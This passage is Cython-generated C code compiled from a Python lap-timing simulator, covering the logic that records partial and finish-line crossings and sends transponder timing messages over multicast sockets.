"simulator.py":131 * if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial * ok = True * ll[i_partial][ sp[0][0] ] = tc # <<<<<<<<<<<<<< * ll[i_lastline] = sp[0][0] # set the crossing to the first partial * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_partial); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = PyObject_GetItem(__pyx_v_ll, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 131, __pyx_L1_error) } __pyx_t_7 = __Pyx_GetItemInt_List(__pyx_v_sp, 0, long, 1, __Pyx_PyInt_From_long, 1, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_GetItemInt(__pyx_t_7, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_t_1, __pyx_v_tc) < 0)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":132 * ok = True * ll[i_partial][ sp[0][0] ] = tc * ll[i_lastline] = sp[0][0] # set the crossing to the first partial # <<<<<<<<<<<<<< * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end */ if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 132, __pyx_L1_error) } __pyx_t_1 = __Pyx_GetItemInt_List(__pyx_v_sp, 0, long, 1, __Pyx_PyInt_From_long, 1, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetItemInt(__pyx_t_1, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_v_ll, __pyx_t_1, __pyx_t_2) < 0)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":129 * ll[i_finish] = tc * else: # we have partials * if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial # <<<<<<<<<<<<<< * ok = True * ll[i_partial][ sp[0][0] ] = tc */ } } __pyx_L6:; /* "simulator.py":123 * ok = False # ok the send datas * sp = sorted( self.partials.items() ) # sorted list of partial * if ll[i_lastline] == 0: # last was finish # <<<<<<<<<<<<<< * if len( self.partials ) == 0: # only finish line, no partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end */ goto __pyx_L5; } /* "simulator.py":133 * ll[i_partial][ sp[0][0] ] = tc * ll[i_lastline] = sp[0][0] # set the crossing to the first partial * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial # <<<<<<<<<<<<<< * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 133, __pyx_L1_error) } if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "object of type 'NoneType' has no len()"); __PYX_ERR(0, 133, __pyx_L1_error) } __pyx_t_6 = PyList_GET_SIZE(__pyx_v_sp); if (unlikely(__pyx_t_6 == -1)) __PYX_ERR(0, 133, __pyx_L1_error) __pyx_t_11 = (__pyx_t_6 - 1); __pyx_t_2 = __Pyx_GetItemInt_List(__pyx_v_sp, __pyx_t_11, Py_ssize_t, 1, PyInt_FromSsize_t, 1, 1, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_GetItemInt(__pyx_t_2, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_t_7, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_10) { /* "simulator.py":134 * ll[i_lastline] = sp[0][0] # set the crossing to the first partial * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end # <<<<<<<<<<<<<< * ok = True * ll[i_finish] = tc */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_laptime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Add(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_v_tc, Py_LE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_10) { /* "simulator.py":135 * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True # <<<<<<<<<<<<<< * ll[i_finish] = tc * ll[i_lastline] = 0 # set finish line passed */ __pyx_v_ok = 1; /* "simulator.py":136 * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True * ll[i_finish] = tc # <<<<<<<<<<<<<< * ll[i_lastline] = 0 # set finish line passed * else: # we have more than one partial */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_finish); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_v_ll, __pyx_t_2, __pyx_v_tc) < 0)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":137 * ok = True * ll[i_finish] = tc * ll[i_lastline] = 0 # set finish line passed # <<<<<<<<<<<<<< * else: # we have more than one partial * ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_v_ll, __pyx_t_2, __pyx_int_0) < 0)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":134 * ll[i_lastline] = sp[0][0] # set the crossing to the first partial * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end # <<<<<<<<<<<<<< * ok = True * ll[i_finish] = tc */ } /* "simulator.py":133 * ll[i_partial][ sp[0][0] ] = tc * ll[i_lastline] = sp[0][0] # set the crossing to the first partial * elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial # <<<<<<<<<<<<<< * if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end * ok = True */ goto __pyx_L5; } /* "simulator.py":139 * ll[i_lastline] = 0 # set finish line passed * else: # we have more than one partial * ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial # <<<<<<<<<<<<<< * if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it * ap += 1 # select next one */ /*else*/ { __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sp, __pyx_n_s_index); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = PyObject_GetItem(__pyx_v_ll, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = PyObject_GetItem(__pyx_v_ll, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_t_7, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyTuple_New(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_3); __pyx_t_4 = 0; __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_ap, __pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":140 * else: # we have more than one partial * ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial * if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it # <<<<<<<<<<<<<< * ap += 1 # select next one * ll[i_lastline] = sp[ap][0] # set the last passed line */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_partial); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 140, __pyx_L1_error) } __pyx_t_2 = PyObject_GetItem(__pyx_v_sp, __pyx_v_ap); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_GetItemInt(__pyx_t_2, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 140, __pyx_L1_error) } __pyx_t_4 = __Pyx_PyInt_AddObjC(__pyx_v_ap, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = PyObject_GetItem(__pyx_v_sp, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Add(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyObject_RichCompare(__pyx_t_1, __pyx_v_tc, Py_LE); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_10 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_10 < 0)) __PYX_ERR(0, 140, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_10) { /* "simulator.py":141 * ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial * if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it * ap += 1 # select next one # <<<<<<<<<<<<<< * ll[i_lastline] = sp[ap][0] # set the last passed line * ll[i_partial][sp[ap][0]] = tc # update crossing */ __pyx_t_4 = __Pyx_PyInt_AddObjC(__pyx_v_ap, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 141, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF_SET(__pyx_v_ap, __pyx_t_4); __pyx_t_4 = 0; /* "simulator.py":142 * if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it * ap += 1 # select next one * ll[i_lastline] = sp[ap][0] # set the last passed line # <<<<<<<<<<<<<< * ll[i_partial][sp[ap][0]] = tc # update crossing * ok = True */ if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 142, __pyx_L1_error) } __pyx_t_4 = PyObject_GetItem(__pyx_v_sp, __pyx_v_ap); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_GetItemInt(__pyx_t_4, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (unlikely(PyObject_SetItem(__pyx_v_ll, __pyx_t_4, __pyx_t_1) < 0)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":143 * ap += 1 # select next one * ll[i_lastline] = sp[ap][0] # set the last passed line * ll[i_partial][sp[ap][0]] = tc # update crossing # <<<<<<<<<<<<<< * ok = True * # #################### */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_partial); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = PyObject_GetItem(__pyx_v_ll, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(__pyx_v_sp == Py_None)) { PyErr_SetString(PyExc_TypeError, "'NoneType' object is not subscriptable"); __PYX_ERR(0, 143, __pyx_L1_error) } __pyx_t_1 = PyObject_GetItem(__pyx_v_sp, __pyx_v_ap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetItemInt(__pyx_t_1, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_t_4, __pyx_t_2, __pyx_v_tc) < 0)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "simulator.py":144 * ll[i_lastline] = sp[ap][0] # set the last passed line * ll[i_partial][sp[ap][0]] = tc # update crossing * ok = True # <<<<<<<<<<<<<< * # #################### * if ok: */ __pyx_v_ok = 1; /* "simulator.py":140 * else: # we have more than one partial * ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial * if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it # <<<<<<<<<<<<<< * ap += 1 # select next one * ll[i_lastline] = sp[ap][0] # set the last passed line */ } } __pyx_L5:; /* "simulator.py":146 * ok = True * # #################### * if ok: # <<<<<<<<<<<<<< * try: * message = str(tp) +" " + str( tc ) */ __pyx_t_10 = (__pyx_v_ok != 0); if (__pyx_t_10) { /* "simulator.py":147 * # #################### * if ok: * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( tc ) * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) */ /*try:*/ { { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_14); /*try:*/ { /* "simulator.py":148 * if ok: * try: * message = str(tp) +" " + str( tc ) # <<<<<<<<<<<<<< * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) * except socket.timeout: */ __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_v_tp); __Pyx_GIVEREF(__pyx_v_tp); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_v_tp); __pyx_t_4 = __Pyx_PyObject_Call(((PyObject *)(&PyUnicode_Type)), __pyx_t_2, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_t_4, __pyx_kp_u__5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_v_tc); __Pyx_GIVEREF(__pyx_v_tc); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_v_tc); __pyx_t_1 = __Pyx_PyObject_Call(((PyObject *)(&PyUnicode_Type)), __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyUnicode_Concat(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 148, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF_SET(__pyx_v_message, __pyx_t_4); __pyx_t_4 = 0; /* "simulator.py":149 * try: * message = str(tp) +" " + str( tc ) * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) # <<<<<<<<<<<<<< * except socket.timeout: * print("exception on send multicast") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sockets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_v_ll, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_sendto); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_message, __pyx_n_s_encode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L17_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_mgroup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_i_lastline); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_3); 